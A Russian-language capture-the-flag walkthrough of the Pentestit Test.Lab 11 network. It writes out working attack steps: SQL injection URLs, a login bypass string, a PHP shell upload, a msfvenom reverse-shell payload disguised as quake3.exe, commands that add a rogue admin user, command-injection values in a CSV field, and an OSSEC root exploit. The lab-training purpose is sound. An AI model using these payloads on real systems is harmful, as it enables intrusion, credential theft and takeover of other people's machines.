Pentestit Lab 11 — Прохождение

Продолжение проходжения легендарных лабараторных работ от очень крутой компании Pentestit.

30-го июня 2017 года вновь запустилась пентест лаборатория компании Pentestit уже 11-я по счету.

Начав в конце 2017 года проходить, не хвататло времени, терпения и навыка чтобы пройти данную лабараторную полностью, но всеже в начале 2018 года получил 100% прохождение.

Уже много лет эти лаборатории дают возможность проверить себя в роли пентестера в виртуальной компании со своими бизнес-процессами, серверами, сотрудниками и проблемами, узнать и опробовать современные уязвимости и отточить свои навыки в аудитах приложений и пентесте, максимально приближенном к реальному.

Кому интересно -описания десятой, девятой, восьмой, седьмой и шестой лабораторий тоже доступны, и могут пригодиться в подготовке к участию, если вы этого еще не сделали.

Как и в прошлый раз, спустя 11 суток лаборатория была пройдена первыми участниками, собравшими 12 токенов, которые подтверждают полное решение очередной задачи, будь то получение доступа в БД, проникновение и повышение привилегий на Linux-сервере или успешное выполнение MiTM-атаки на ноутбук директора виртуальной компании Test.Lab.

Эта статья описывает все этапы прохождения пентест-лаборатории Test.Lab 11 для всех, кому интересно погрузиться в область пентеста или узнать, как решалась конкретная задача.

Для проведения тестирования можно установить в виртуальной машине Kali Linux — специальный дистрибутив Линукса для пентестеров, в котором есть все необходимое для работы. Если вы этого еще не сделали, теперь самое время.

Начинаем тестирование

После подключения, нам становятся доступны два шлюза — 192.168.101.10 и 192.168.101.11, за которыми скрывается следующая сеть:

Собираем информацию

С учетом того, что в этот раз легенды о каком-либо вымышленном названии компании нет, пассивный сбор информации из открытых источников вряд ли поможет — поиск по «test.lab» даст очень много лишнего. Поэтому перейдем к сканированию портов:

Из результатов понятно, что нам доступны два сайта (основной сайт компании и CRM, как выяснится позже), почтовые сервисы (доступ к веб почте и SMTP) и SSH на нестандартном порту 2222. Если просканировать все порты, используя ключ -p-, так же можно найти OpenVPN на порту 1194 хоста 192.168.101.10.

Полезно будет также просканировать UDP порты, однако мы начнем анализировать доступные нам сервисы один за другим.

В начале пентеста нужно постараться определить максимально реалистичные цели для предстоящей атаки. Так, сразу можно отсечь SSH сервер, который требует аутентификацию по ключу и OpenVPN сервер, ожидающий конфигурационный файл для подключения (хотя для OpenVPN варианты возможны, в случае отсутствия других уязвимостей). Кроме того, на почтовые сервера можно попробовать подобрать пароли к учетным записям сотрудников, но для этого нужно знать имена этих записей или имейлы сотрудников.

После беглого анализа сайта компании, доступного на порту 80, становится понятно, что он защищен с помощью web application firewall, так как большинство «агрессивных» запросов зарабатывают нашему IP бан на фаерволле на 2 минуты. Перебор директорий, или активное сканирование с помощью утилит вроде Burp Suite приводит к постоянным ошибкам 403.

Сконцентрируем внимание на CRM системе Vtiger, которая, на первый взгляд, и является тем самым low-hanging fruit, который мы ищем.

Система Vtiger на первый взгляд не защищена WAF-ом, и при этом версия 6.3.0 содержит в себе уязвимость, предоставляющую нам возможность получить шелл на этом сервере:

Но, к сожалению, не все так быстро — как видим, для начала необходимо авторизоваться в CRM, так как уязвимость — authenticated RCE. Изучим ее повнимательнее!

Изучаем CRM

Не найдя ничего интересного в подкаталогах, и установив себе копию Vtiger 6.3.0 (которую можно скачать здесь) понимаем, что имя пользователя по умолчанию — admin. Попробуем воспользоваться Burp Suite чтобы подобрать пароль.

В этой статье меньше внимания будет уделено настройке инструментов вроде Kali и Burp Suite, и больше — специфике конкретных заданий в лаборатории. Обзор инструментов выходит за рамки этой статьи, но деталей об этом в сети очень много.

Настроив Burp Suite на перебор пароля по большому словарю из SecLists (100 тыс паролей), с пользователем admin, получаем нужный пароль:

И, наконец, заходим в систему:

Судя по паролю и нику администратора в CRM (обратите внимание на него в правом верхнем углу — еще пригодится при взятии почты), становится понятно что администратор — серьезный фанат Звездных Войн.

Используем вышеупомянутую уязвимость для загрузки шелла после аутентификации. Для этого переходим на CRM Settings > Templates > Company Details, и редактируем логотип, меняя его на однострочный шелл, предварительно включив перехват трафика в Burp Suite:

Перехватив запрос в Burp, возвращаем расширение php загружаемому файлу (альтернативой было бы сразу загружать PHP файл, но при этом поменять mime type загружаемого объекта на image/jpeg в Burp Suite). Отдельно нужно отметить, что необходимо убрать вхождения строки «php» в загружаемом шелле, иначе Vtiger CRM отфильтрует такое «изображение» (нам достаточно символов <?):

Теперь можно походить по серверу в поисках токена с помощью нашего шелла:

Готово! Первый токен взят.

Пробираемся внутрь сети

Как мы помним, после взятия CRM, стало понятно, что администратор, с имейлом [email protected] — фанат Звездных Войн. Попробуем зайти в почту как [email protected] используя ник администратора из CRM в качестве пароля:

Нашелся SSH-ключ для пользователя tech:

С этим ключом удается подключиться к SSH серверу:

И, таким образом, мы оказываемся внутри сети филиала компании. Подключившись на новый сервер, полезно изучить его со всех сторон, чтобы понять какая информация доступна для дальнейшего продвижения внутри сети либо повышения привилегий. Хороший чеклист того, что нужно обязательно проверить можно найти здесь.

Изучив, в частности, crontab, выясняем, что здесь есть подключение к OpenVPN. Несмотря на то, что сами скрипты недоступны нам в папке /opt, кое-что полезное извлечь все же можно:

Таким образом, мы узнаем имя пользователя Office-2, и необходимый для подключения сертификат. Составив на основании этих данных нужный конфигурационный файл (ниже), воспользуемся скриптом для перебора паролей к OpenVPN. Скрипт придется немного поменять для того, чтобы внешний OpenVPN не отключался при каждой попытке.

Подбираем пароль с использованием небольшого словарика по мотивам starwars (ведь администратор — фанат, как мы уже поняли):

И затем успешно подключаемся к внутреннему VPN, после чего нам становится видна подсеть 172.16.0.0/24, отображенная на схеме сети выше.

Атакуем SITE

После получения доступа во внутреннюю сеть, и проведения сканирования с помощью nmap, обнаруживаем на 172.16.0.11:80 тот же сайт, что был доступен снаружи, теперь без защиты WAF-ом. Немного изучив исходный код страницы, становится понятно, что перед нами WordPress версии 4.8, в котором тут же бросается в глаза плагин kittycatfish, уязвимый к SQL инъекции, по адресу /wp-content/plugins/kittycatfish-2.2/.

В описании эксплоита указано, что Инъекция находится в файле base.css.php, в параметре kc_ad. Поищем его на GitHub:

$kc_ad = $_GET['kc_ad'];
$kc_ad_meta = kittycatfish_ad_get_meta($kc_ad);

После изучения kittycatfish.php становится понятно, что в CSS добавляется значение kc_ad_css, и, соответственно, инъекция может выглядеть следующим образом:

http://172.16.0.11/wp-content/plugins/kittycatfish-2.2/base.css.php?kc_ad=16+union+select+0x6b635f61645f637373,(select%20@@version)

Версия получена. Теперь получим название таблицы:
http://172.16.0.11/wp-content/plugins/kittycatfish-2.2/base.css.php?kc_ad=16+union+select+0x6b635f61645f637373,(SELECT%20GROUP_CONCAT(table_name)%20FROM%20information_schema.tables%20WHERE%20table_schema=database()%20GROUP%20BY%20table_name%20LIMIT%200,1)

И наконец токен в имени колонки:

http://172.16.0.11/wp-content/plugins/kittycatfish-2.2/base.css.php?kc_ad=16+union+select+0x6b635f61645f637373,(SELECT%20GROUP_CONCAT(column_name)%20FROM%20information_schema.columns%20WHERE%20table_name=0x746c5f746f6b656e%20GROUP%20BY%20table_name%20LIMIT%200,1)

Готово! Кстати, все hex значения получены следующими командами:

$ echo -n kc_ad_css | xxd -p
6b635f61645f637373
$ echo -n tl_token | xxd -p
746c5f746f6b656e

Токен RDP

Вернемся на некоторое время в сеть филиала «The Second Office», которая стала доступна нам благодаря подключению к SSH: компьютеры 192.168.13.1-3, и просканируем доступные порты (так как они не отвечают на ping, нужно использовать ключ -Pn):

Найдя RDP, попробуем подключиться к нему, предварительно пробросив нужный порт, используя ~C — командную консоль SSH-клиента:

В Remote Desktop есть такая особенность, которая позволяет узнать список пользователей на компьютере, если не передать никакое имя пользователя при подключении. Сделаем это с использованием xfreerdp:

xfreerdp /v:127.0.0.1 -sec-nla /u:""

Получив имена пользователей, воспользуемся crowbar, чтобы подобрать пароль — для RDP, в моем опыте, он всегда работает лучше чем Hydra или Medusa:

После успешного подбора пароля, попадаем на RDP:

Не найдя ничего интересного у пользователя arm554 продвигаемся дальше. Попробуем повысить привилегии, используя ms16_032, как описано, например, в этом видео:

xfreerdp /v:127.0.0.1 /u:"arm554" /drive:share,/root/pentestit
Скопировав MS16-032.ps1 из Exploit DB, получаем права администратора:

После чего, используя следующие команды создаем нового административного пользователя:

net user user1 <your_password> /add
net localgroup administrators user1 /add

Зайдя под user1, мы получаем доступ к папке user, в которой можно найти токен, а заодно и, по всей видимости, хеши паролей пользователей armXYZ, из которых не удален, судя по файлам, только arm554.

Эта информация пригодится нам в дальнейшем, для взятия AD, к чему мы и приступим.

Помимо машины 192.168.13.1, в филиале можно найти подходящие пароли к пользователям «user» на машинах 192.168.13.2 и 192.168.13.3 используя словарь, больший чем john.txt.

Pass-the-hash в AD

После получения на RDP и извлечения хеша, получаем возможность атаковать Active Directory, которая, согласно схеме сети, находится на 172.16.0.10. Сканирование портов только подтверждает, что это контроллер домена (а заодно и его название — TEST.LAB):

Воспользуемся модулем kerberos_enumusers из Metasploit, чтобы подтвердить существование arm554, используя Kerberos:

С учетом того, что установлен Windows 2012, попробуем выполнить pass-the-hash через SMBv3:

Получив список доступных shares, попробуем обратиться к files:

Получен токен, и файл network_test.txt со следующем содержимым:

Hi, mate! Need to test ARP-table in DIR subnet.
I'll install intercepter <логин и пароль к серверу в сети DIR>

К этому серверу у нас еще нет доступа, так как сначала нужно получить доступ к роутеру 172.168.0.252, указанному на схеме сети. Поэтому продолжим изучение подсети 172.16.0.0/24.

Токен CUPS

На 80-м порту машины 172.16.0.14, отображенной на схеме сети как CUPS, находим следующую страницу:

Административная панель ведет на адрес, закрытый basic-аутентификацией, тогда как local storage отображает, по всей видимости, самописное веб-приложение, с логин формой. Попробовав несколько базовых паролей, предполагаем наличие SQL инъекции, и входим в систему с такими данными:

admin
admin' or 1=1 -- -

После этого, нам становятся доступны сканы, сделанные в системе. Среди прочего, находим приватный ключ для подключения к роутеру, скрывающему от нас последнюю часть сети:

Потратив внушительное количество времени, чтобы разобрать каждый символ и правильно перенабрать его с изображения, удается подключиться к роутеру с именем morgan:

Воспользуемся sshuttle для удобного проброса портов в подсети 192.168.10.0/24, 192.168.11.0/24 и 192.168.12.0/24:

Man-in-the-middle в DIR — получаем доступ к компьютеру DIRECTOR

Просканировав сеть DIR и используя найденные на AD логин и пароль, подключаемся к 192.168.12.2 через RDP, и находим Intercepter в папке Soft, как и упоминалось в информации с контроллера домена:

Для начала, попробуем сделать ARP poisoning внутри подсети и посмотреть, не общаются ли между собой 192.168.12.1 (машина директора) и 192.168.12.3 (машина с веб-сервером на порту 80). Для этого просканируем сеть:

После того, как нужные машины найдены, выполним настройки как показано на скриншоте:

В данном случае, несмотря на то, что 192.168.12.3 — не шлюз, мы ставим в качестве шлюза именно его, потому что нас интересуют не коммуникации машины директора с внешней сетью, а коммуникации внутри этой подсети. Intercepter-NG будет отвечать машине 192.168.12.1 что он 12.3, и машине 12.3, что он 12.1. После этой настройки, перейдем на вкладку raw packets, и поставим Pcap-фильтр «port not 3389», чтобы исключить пакеты по RDP, которыми мы постоянно обмениваемся с машиной 12.2:

После этого, необходимо запустить sniffing, NAT и ARP poisoning для осуществления атаки:

В скором времени видим, что директор пытается загрузить quake3.exe с веб-сервера 192.168.12.3, но получает ошибку 404.

Исправим эту досадную ситуацию, сгенерировав reverse shell payload с помощью следующей команды:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.12.2 LPORT=80 -f exe > quake3.exe

После того, как файл загружен на RDP сервер, настроим внедрение этого файла в HTTP ответ. Для этого включаем SSL Strip (хотя файл и скачивается не по SSL, это нужно чтобы включить MiTM в Intercepter):

Затем настраиваем внедрение, выбрав загруженный нами «поддельный» quake3.exe:

Затем запускаем netcat listener, и разрешаем его через firewall:

И, наконец, включаем ARP poisoning снова, чтобы внедрить quake3.exe в ответ от веб-сервера, и тут же получаем шелл:

В документах находим SSH-ключ, и наш очередной токен!

Кроме того, поизучав сам 192.168.12.2, можно найти файл todo, который пригодится в дальнейшем:

Благодаря найденному ключу, мы можем попробовать зайти на машину 192.168.11.1, к которой теперь у нас есть и доступ через роутер (ключ к которому был найден в CUPS), и ключ remote, найденный на машине директора.

Переход в сеть ADMIN

При подключении к 192.168.11.1 c использованием ключа remote, получаем форму, которая пробрасывает нас на другие компьютеры в сети (а именно, Srv1 = 172.16.0.16, с использованием пользователя aengineer и сохраненного ключа, или Srv2 = 192.168.10.1, так же с использованим логина aengineer).

Что-то подсказывает, что здесь есть command injection, и мы сможем выбраться за пределы этого скрипта и попасть на сам 11.1. Попробуем это сделать, используя стандартные разделители команд, такие как ;, |, & и другие:

Срабатывает точка с запятой! Консоль «застывает» на несколько секунд, если добавить sleep. При этом, если вместо Srv1 или Srv2 написать что-то другое, видим, что мы получаем сообщения из STDERR, тогда как вывод команд, которые выполняются успешно, скрыт. Попробуем перенаправить стандартный вывод на STDERR чтобы получить вывод результатов:

Работает! Теперь, используя эту технику получим полноценный шелл:

В папке /opt/gh находится скрипт, который запрашивал имя сервера. Как можно увидеть, в нем действительно есть command-injection уязвимость (а заодно и фильтр на bash, который мы обошли с помощью dash). Изучив этот сервер, единственная полезная информация — это ключ aengineer, с которым мы подключались на 172.16.0.16 и 192.168.10.1, который можно скопировать:

Таким образом, мы смогли попасть в сеть admin.

Получаем CONNECT

Подключившись к 192.168.10.1 как aengineer, вспоминаем, что файл, найденный на 192.168.12.2, упоминал FTP подключение к серверу на 192.168.10.1 на порту 2020. На всякий случай, попробуем включить netcat listener на этом порту:

И обнаруживаем, что действительно сервер получает коннект, однако дальше ничего не происходит. Так как подключение FTP — логично предположить, что подключившаяся сторона ожидает приветствия от FTP сервера прежде чем авторизоваться. Сэмулируем это с помощью простой команды:

Токен получен!

Подслушиваем CLOUD

Продолжая находиться на 192.168.10.1, можно заметить, что от пользователя aengineer на этой машине разрешено делать tcpdump. Обычно такая конфигурация требует привилегий root, но здесь было, видимо, настроено иначе. В целом, на любой машине полезно проверять возможность записи трафика, так как он может рассказать много интересного. Сделаем это следующим образом:

После чего, открыв файл в Wireshark, можно найти трафик между 192.168.10.2 и 192.168.10.3 (CLOUD), следующего содержания:

Как видно, мы нашли пароль пользователя user к cloud-серверу. Попробуем зайти:

Получилось! Найден keepass-store с названием my_store.kdbx. Воспользуемся утилитой keepas2john чтобы извлечь хеш, и попробовать подобрать пароль:

Настраиваем hashcat, и находим пароль:

На картинке специально размыты только последние 4 символа пароля, для облегчения подбора. Пароль присутствует в словаре rockyou.txt. Теперь достаточно ввести этот пароль в keepass, и получить токен CLOUD!

Используем CLAMAV

Просканировав 192.168.11.5, находим сервис sendmail, в котором, вероятно, и есть Clamav. Проверим догадку с помощью соответствующего эксплоита. Пришлось потратить некоторое время, прежде чем стало ясно, что бекконнект через reverse shell работает только на 192.168.10.1:

Получили шелл! Но токен, пока еще, не доступен. С учетом того, что на машине присутствует нестандартная для этой сети конфигурация в виде установленного ossec, возникает подозрение, что необходимо проэскалировать привилегии. Для этого, поищем эксплоиты на ossec:

Самый вероятный эксплоит под номером 37265 — последний доступный local root exploit на сегодняшний день. Для эскалации необходимо сделать следующее:

  1. Создать файл с именем «foo-$(chmod 777 etc)» в домашнем каталоге /home/clamav (мы не можем использовать слеши, и команды ossec выполняются в корневой директории — при желании обойти это ограничение можно через cd)
  2. Отредактировать этот файл и создать еще один в том же каталоге
  3. Когда нужные права на папку etc будут установлены, удалить файл passwd, а затем создать нужный нам с еще одним пользователем с ID 0 и известным паролем
  4. Сделать su к этому пользователю

В нашем же случае, как выяснилось, достаточно прочесть содержимое директории root, что мы и сделаем:

Токен clamav получен. По завершению стоит вернуть права на директории на место, чтобы не испортить прохождение другим участникам.

Токен ACCESS CONTROL

Подключившись как aengineer к машине 172.16.0.16, обнаруживаем следующее:

Токен доступен только от пользователя www-data, при этом не доступен через web-сервер из-за строгих permissions. После изучения исходного кода ftpclient.py, login.php и parse.php, становится понятно следующее:

  1. Чтобы войти в систему, достаточно перейти по адресу 172.16.0.16/parse.php?auth=asdfgtgrfedQWERsdfd
  2. Файл parse.php отображает данные из db.csv, который периодически загружается с сервера FTP 172.16.0.17 с помощью ftpclient.py и учетных данных, указанных в нем
  3. Загрузка выполняется от имени root, поэтому поменять файл на клиенте нет возможности
  4. Внутри файла parse.php выполняется конвертация даты из db.csv в другой формат, при этом присутствует command injection уязвимость 
  5. Токен доступен исключительно на чтение от пользователя www-data.

Таким образом, чтобы проэскалировать привилегии до www-data, нам необходимо внедрить нужную команду в файл db.csv:

Name;Surname;In;Out;ID
Mireya;Bain;1498292760.0|chmod 777 /var/www/html/token.sec;1498310760.0;38611

Из ftpclient.py можно извлечь логин и пароль к FTP серверу на 172.16.0.17, но, к сожалению, файл db.csv на нем доступен нам только для чтения, поэтому заменить его нет возможности. На этом этапе полезно вспомнить, что у нас уже есть SSH-ключ пользователя aengineer, извлеченный из 192.168.11.1 — попробуем зайти под ним:

Это сработало! И теперь, как видно из прав доступа, у aengineer есть возможность писать в db.csv. Обновив файл вручную замечаем, что он постоянно обновляется из какой-то БД. Чтобы обеспечить постоянную доступность нового файла, пишем небольшой цикл на bash:

while true; do python -c 'print "Name;Surname;In;Out;ID\nMireya;Bain;1498292760.0|chmod 777 /var/www/html/token.sec;1498310760.0;38611"' > db.csv; sleep 2; done

И вот, файл db.csv обновлен уже на 172.16.0.16!

Теперь заходим на страницу parse.php, чтобы выполнилась команда из db.csv:

Теперь мы можем прочесть токен!

Затем, возвращаем предыдущие права 400 файлу token.sec таким же способом, чтобы не испортить прохождение другим участникам лаборатории. Еще один токен взят.

Магический HELPDESK

Как можно заметить, в этой лаборатории есть несколько машин, которые либо не представляют интерес, либо практически неуязвимы — это делает лабораторию еще ближе к реальной сети, где не каждый компьютер в сети имеет уязвимость. Поэтому важно продолжать сканирование сети с целью постоянного поиска новых сервисов.

Так, просканировав 192.168.11.3, находим открытый 80-й порт, на котором поднято приложение Ticket service, или HELPDESK:

Поискав скрытые директории с помощью dirsearch, находим папки /admin (закрыта basic-аутентификацией), /_admin с копией файла login.php, /templates с файлом head.html, и несколько менее интересных папок вроде fonts и css.

Изучив приложение, можно заметить, что при переходе на различные страницы внутри, от нас требуется авторизоваться под разными пользователями — от user до oper_1/2 и admin — очевидно, нашей главной цели.

Несмотря на то, что параметр cat в URL намекает на уязвимость типа Local File Inclusion, исходя из неудачных попыток и файла /templates/head.html можно сделать вывод, что эта уязвимость отсутствует. Кроме того, проверив SQL- и NoSQL-инъекции, и несколько других уязвимостей, решаем попробовать подобрать пароли к указанным пользователям: admin/user/oper_1/oper_2, а также пользователям, упомянутым в тикетах:

Используя Burp Suite таким же способом, как и с CRM, только в режиме Cluster Bomb, удалось подобрать пароли user/password и oper_2/oper_2, но, к сожалению, ни один из них не подходил для входа под пользователем admin. Кроме того, надежда, что формы редактирования или удаления тикетов станут доступны, и удастся найти какие-либо уязвимости в них — исчезла.

На мой взгляд, этот токен был самым сложным и интересным в лаборатории. Перед нами веб-приложение с всего двумя точками ввода: /login.php и /_admin/login.php, ни одна из которых не содержит уязвимостей, которые можно выявить невооруженным глазом.

После изучения тикетов, обращаем внимание на то, что авторы приложения по легенде исправили какие-то проблемы в хешировании. Поискав php hash vulnerabilityнаходим ключ к решению — Magic Hashes.

Эта статья достаточно детально описывает суть уязвимости (версия на русском также доступна), поэтому я не буду повторять детальное описание здесь.

Уязвимость заключается в том, что из-за PHP type juggling может случиться ситуация, когда разные хеши (будь то MD5, SHA1 или другие) от разных паролей окажутся равны из-за автоматического приведения типов.

Попробовав приведенные в статье хеши в качестве паролей к пользователю admin на обеих страницах login.php, после долгих попыток приходит понимание, что, возможно, хеш берется от username + password. Тогда, чтобы не искать новый хеш удовлетворяющий требованиям, пробуем «разбить» MD5 и SHA1 хеши на две части, и заходим под admin c помощью такой ссылки:

http://192.168.11.3/_admin/login.php?login=10932&password=435112

Наконец, становится доступной вкладка Removed Tickets, где нас и ожидает долгожданный токен HELPDESK, вместе с паролем от SSH для получения токена SCREEN:

Поднятие привилегий на SCREEN

Получив пароль к SSH-серверу из HELPDESK, мы можем зайти и осмотреться:

Но, к сожалению, не далеко — мы ограничены шеллом restricted bash (rbash), который запрещает выходить в общую файловую систему и использовать слеши в командах. Обычно, выйти из restricted bash можно довольно просто, например так:

Осмотревшись в основной системе, видим что токен находится в /home/tester/token, но прав на его чтение у нас нет. Кроме того, на машине присутствует запись в cron, которая выполняет следующий скрипт:

Вот исходный код скрипта:

/usr/bin/perl -w

if (!-l $ARGV[0] && -f $ARGV[0]) {

open $file1, $ARGV[0];
$fname = <$file1>;
chomp($fname);

open ($file2, $fname) or die("$!");
open $file3, '>>', "/tmp/testlog";
$line = <$file2>;

chomp ($line);
print $file3 $line, "\n";

close $file2;
close $file3;
close $file1;
unlink($ARGV[0]);

sleep(1);
open $file1, '>', "/tmp/testlog";
close $file1;

}
else {
exit(0);
}

Как видно из скрипта и параметров запуска, он получает имя файла для прочтения из файла в /build/log/, открывает этот файл и выводит содержимое в /tmp/testlog, после чего удаляет обработанный файл в /build/log и ждет одну секунду, в течение которой содержимое файла будет доступно. Так как команда выполняется от имени пользователя tester, мы можем эксплуатировать это для того, чтобы извлечь значение токена. Единственное, что осталось сделать — это создать файл в /build/log/, куда у нашего пользователя john доступа, к сожалению, нет. Попробуем это исправить.

В папке /build также находится screen, в котором установлен бит SGID, что означает, что screen будет выполнен от имени группы utmp:

При этом, в папку /build/log можно писать от имени группы utmp. Используя ключ -L в команде screen можно создать такой файл:

Как видим, файл был создан успешно от имени пользователя john. Включаем права на запись в этот файл для john, и вносим туда путь к файлу, который хотим прочесть, а затем запускаем вывод лог-файла в цикле:

Итак, последний токен SCREEN получен!

Весь материал здесь представлен исключительно в образовательных целях- пусть как можно больше людей узнают о разных способах решения той или иной задачи.

Тем, кто еще не успел пройти лабораторию и испытать радость взятия каждой машины в сети, желаю Вам набраться сил и терпения и расти и набираться навыков с нами, затем попробовать себя в будующей 12 лабаратории.

Хочу поблагодарить Pentestit за прекрасную лабораторию — было интересно, и поблагодарить читателя за то, что дошли до этого момента.

Отдельное спасибо автору статьи, который не только очень точно описал все, что ждет Вас, но и не полностью раскрыл весь потенциал работ, чтобы Вы смогли не просто скопиписпастить, а реально понять тему, прочувствовать «боль» и ощутить счастье и прилив энергии по прохождению.